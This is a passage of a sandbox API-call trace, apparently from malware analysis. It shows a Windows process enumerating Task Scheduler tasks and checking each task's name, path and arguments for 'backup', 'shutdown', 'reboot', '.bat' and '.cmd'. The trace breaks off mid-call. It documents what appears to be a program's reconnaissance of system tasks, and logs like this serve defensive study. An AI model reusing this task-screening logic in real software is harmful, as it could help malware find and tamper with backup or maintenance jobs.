0x0 [0210.203] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.203] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0210.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2860 [0210.203] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0210.203] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0210.203] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0210.203] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0210.204] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0210.204] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0210.204] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0210.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0210.204] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-MediaCenterRecoveryTask") returned 0x0 [0210.204] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0210.204] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0210.204] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0210.204] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0210.204] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0210.204] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0210.204] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0210.204] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0210.204] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0210.204] IUnknown:Release (This=0x2463688) returned 0x2 [0210.204] IUnknown:Release (This=0x2463688) returned 0x1 [0210.204] IActionCollection:get_Item (in: This=0x47fcb8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.204] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0210.204] IUnknown:Release (This=0x2463748) returned 0x1 [0210.204] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.204] IUnknown:Release (This=0x2464f38) returned 0x0 [0210.204] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.204] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.204] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ObjectStoreRecoveryTask") returned 0x0 [0210.204] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.206] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6caad0 [0210.206] wcsstr (_Str="objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0210.206] wcsstr (_Str="objectstorerecoverytask", _SubStr="restart") returned 0x0 [0210.206] wcsstr (_Str="objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0210.206] wcsstr (_Str="objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0210.206] wcsstr (_Str="objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0210.206] wcsstr (_Str="objectstorerecoverytask", _SubStr="backup") returned 0x0 [0210.206] wcsstr (_Str="objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0210.206] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0210.206] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f38) returned 0x0 [0210.211] ITaskDefinition:get_Actions (in: This=0x2464f38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.211] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0210.211] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.211] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.211] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0210.212] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0210.212] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2860 [0210.212] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0210.212] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0210.212] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0210.212] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0210.212] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0210.212] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0210.212] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0210.212] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0210.212] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-ObjectStoreRecoveryTask") returned 0x0 [0210.212] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0210.212] wcsstr (_Str="-objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0210.212] wcsstr (_Str="-objectstorerecoverytask", _SubStr="restart") returned 0x0 [0210.212] wcsstr (_Str="-objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0210.212] wcsstr (_Str="-objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0210.212] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0210.212] wcsstr (_Str="-objectstorerecoverytask", _SubStr="backup") returned 0x0 [0210.212] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0210.212] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0210.212] IUnknown:Release (This=0x2463748) returned 0x2 [0210.212] IUnknown:Release (This=0x2463748) returned 0x1 [0210.212] IActionCollection:get_Item (in: This=0x47fcb8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.212] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0210.212] IUnknown:Release (This=0x2463688) returned 0x1 [0210.212] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.212] IUnknown:Release (This=0x2464f38) returned 0x0 [0210.212] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.212] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.212] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="OCURActivate") returned 0x0 [0210.213] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e61b8 [0210.214] wcsstr (_Str="ocuractivate", _SubStr="reboot") returned 0x0 [0210.214] wcsstr (_Str="ocuractivate", _SubStr="restart") returned 0x0 [0210.214] wcsstr (_Str="ocuractivate", _SubStr="shutdown") returned 0x0 [0210.214] wcsstr (_Str="ocuractivate", _SubStr="logoff") returned 0x0 [0210.214] wcsstr (_Str="ocuractivate", _SubStr=".bat") returned 0x0 [0210.214] wcsstr (_Str="ocuractivate", _SubStr="backup") returned 0x0 [0210.214] wcsstr (_Str="ocuractivate", _SubStr=".cmd") returned 0x0 [0210.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e61b8) returned 1 [0210.214] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f28) returned 0x0 [0210.220] ITaskDefinition:get_Actions (in: This=0x2464f28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464fa0) returned 0x0 [0210.220] IActionCollection:get_Count (in: This=0x2464fa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.220] IActionCollection:get_Item (in: This=0x2464fa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.220] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.220] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.220] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.220] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.220] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.220] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.221] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.221] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.221] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/OCURActivate") returned 0x0 [0210.221] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e5ec0 [0210.221] wcsstr (_Str="/ocuractivate", _SubStr="reboot") returned 0x0 [0210.221] wcsstr (_Str="/ocuractivate", _SubStr="restart") returned 0x0 [0210.221] wcsstr (_Str="/ocuractivate", _SubStr="shutdown") returned 0x0 [0210.221] wcsstr (_Str="/ocuractivate", _SubStr="logoff") returned 0x0 [0210.221] wcsstr (_Str="/ocuractivate", _SubStr=".bat") returned 0x0 [0210.221] wcsstr (_Str="/ocuractivate", _SubStr="backup") returned 0x0 [0210.221] wcsstr (_Str="/ocuractivate", _SubStr=".cmd") returned 0x0 [0210.221] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5ec0) returned 1 [0210.221] IUnknown:Release (This=0x2463688) returned 0x2 [0210.221] IUnknown:Release (This=0x2463688) returned 0x1 [0210.221] IUnknown:Release (This=0x2464fa0) returned 0x1 [0210.221] IUnknown:Release (This=0x2464f28) returned 0x0 [0210.221] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.221] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.221] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="OCURDiscovery") returned 0x0 [0210.221] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.223] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e5e48 [0210.223] wcsstr (_Str="ocurdiscovery", _SubStr="reboot") returned 0x0 [0210.223] wcsstr (_Str="ocurdiscovery", _SubStr="restart") returned 0x0 [0210.223] wcsstr (_Str="ocurdiscovery", _SubStr="shutdown") returned 0x0 [0210.223] wcsstr (_Str="ocurdiscovery", _SubStr="logoff") returned 0x0 [0210.223] wcsstr (_Str="ocurdiscovery", _SubStr=".bat") returned 0x0 [0210.223] wcsstr (_Str="ocurdiscovery", _SubStr="backup") returned 0x0 [0210.223] wcsstr (_Str="ocurdiscovery", _SubStr=".cmd") returned 0x0 [0210.223] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5e48) returned 1 [0210.223] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f28) returned 0x0 [0210.228] ITaskDefinition:get_Actions (in: This=0x2464f28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464fa0) returned 0x0 [0210.228] IActionCollection:get_Count (in: This=0x2464fa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.228] IActionCollection:get_Item (in: This=0x2464fa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.228] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.228] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.228] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.228] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.228] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.228] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.228] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.228] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.228] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.228] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.229] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.229] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.229] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/OCURDiscovery $(Arg0)") returned 0x0 [0210.229] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2e) returned 0x6caad0 [0210.229] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="reboot") returned 0x0 [0210.229] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="restart") returned 0x0 [0210.229] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="shutdown") returned 0x0 [0210.229] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="logoff") returned 0x0 [0210.229] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".bat") returned 0x0 [0210.229] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="backup") returned 0x0 [0210.229] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".cmd") returned 0x0 [0210.229] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0210.229] IUnknown:Release (This=0x2463688) returned 0x2 [0210.229] IUnknown:Release (This=0x2463688) returned 0x1 [0210.229] IUnknown:Release (This=0x2464fa0) returned 0x1 [0210.229] IUnknown:Release (This=0x2464f28) returned 0x0 [0210.229] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.229] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.229] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscovery") returned 0x0 [0210.229] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.231] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e6320 [0210.231] wcsstr (_Str="pbdadiscovery", _SubStr="reboot") returned 0x0 [0210.231] wcsstr (_Str="pbdadiscovery", _SubStr="restart") returned 0x0 [0210.231] wcsstr (_Str="pbdadiscovery", _SubStr="shutdown") returned 0x0 [0210.231] wcsstr (_Str="pbdadiscovery", _SubStr="logoff") returned 0x0 [0210.231] wcsstr (_Str="pbdadiscovery", _SubStr=".bat") returned 0x0 [0210.231] wcsstr (_Str="pbdadiscovery", _SubStr="backup") returned 0x0 [0210.231] wcsstr (_Str="pbdadiscovery", _SubStr=".cmd") returned 0x0 [0210.231] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6320) returned 1 [0210.231] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f28) returned 0x0 [0210.294] ITaskDefinition:get_Actions (in: This=0x2464f28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464fa0) returned 0x0 [0210.294] IActionCollection:get_Count (in: This=0x2464fa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.294] IActionCollection:get_Item (in: This=0x2464fa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.294] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.294] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.294] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.294] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.294] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.294] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.294] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/PBDADiscovery") returned 0x0 [0210.295] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6e5ee8 [0210.295] wcsstr (_Str="/pbdadiscovery", _SubStr="reboot") returned 0x0 [0210.295] wcsstr (_Str="/pbdadiscovery", _SubStr="restart") returned 0x0 [0210.295] wcsstr (_Str="/pbdadiscovery", _SubStr="shutdown") returned 0x0 [0210.295] wcsstr (_Str="/pbdadiscovery", _SubStr="logoff") returned 0x0 [0210.295] wcsstr (_Str="/pbdadiscovery", _SubStr=".bat") returned 0x0 [0210.295] wcsstr (_Str="/pbdadiscovery", _SubStr="backup") returned 0x0 [0210.295] wcsstr (_Str="/pbdadiscovery", _SubStr=".cmd") returned 0x0 [0210.295] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5ee8) returned 1 [0210.295] IUnknown:Release (This=0x2463688) returned 0x2 [0210.295] IUnknown:Release (This=0x2463688) returned 0x1 [0210.295] IUnknown:Release (This=0x2464fa0) returned 0x1 [0210.295] IUnknown:Release (This=0x2464f28) returned 0x0 [0210.295] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.295] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.295] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscoveryW1") returned 0x0 [0210.295] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.347] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e6078 [0210.347] wcsstr (_Str="pbdadiscoveryw1", _SubStr="reboot") returned 0x0 [0210.347] wcsstr (_Str="pbdadiscoveryw1", _SubStr="restart") returned 0x0 [0210.347] wcsstr (_Str="pbdadiscoveryw1", _SubStr="shutdown") returned 0x0 [0210.347] wcsstr (_Str="pbdadiscoveryw1", _SubStr="logoff") returned 0x0 [0210.347] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".bat") returned 0x0 [0210.347] wcsstr (_Str="pbdadiscoveryw1", _SubStr="backup") returned 0x0 [0210.347] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".cmd") returned 0x0 [0210.347] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6078) returned 1 [0210.347] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f28) returned 0x0 [0210.355] ITaskDefinition:get_Actions (in: This=0x2464f28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464fa0) returned 0x0 [0210.355] IActionCollection:get_Count (in: This=0x2464fa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.355] IActionCollection:get_Item (in: This=0x2464fa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.355] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.355] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0210.355] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.355] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.355] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.355] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.355] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.355] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.355] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.356] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.356] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.356] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.356] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/wait:7 /PBDADiscovery") returned 0x0 [0210.356] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2e) returned 0x6caad0 [0210.356] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0210.356] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="restart") returned 0x0 [0210.356] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0210.356] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0210.356] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0210.356] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="backup") returned 0x0 [0210.356] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0210.356] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0210.356] IUnknown:Release (This=0x2463748) returned 0x2 [0210.356] IUnknown:Release (This=0x2463748) returned 0x1 [0210.356] IUnknown:Release (This=0x2464fa0) returned 0x1 [0210.356] IUnknown:Release (This=0x2464f28) returned 0x0 [0210.356] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.356] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.356] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscoveryW2") returned 0x0 [0210.356] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.358] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e5f10 [0210.358] wcsstr (_Str="pbdadiscoveryw2", _SubStr="reboot") returned 0x0 [0210.358] wcsstr (_Str="pbdadiscoveryw2", _SubStr="restart") returned 0x0 [0210.358] wcsstr (_Str="pbdadiscoveryw2", _SubStr="shutdown") returned 0x0 [0210.358] wcsstr (_Str="pbdadiscoveryw2", _SubStr="logoff") returned 0x0 [0210.358] wcsstr 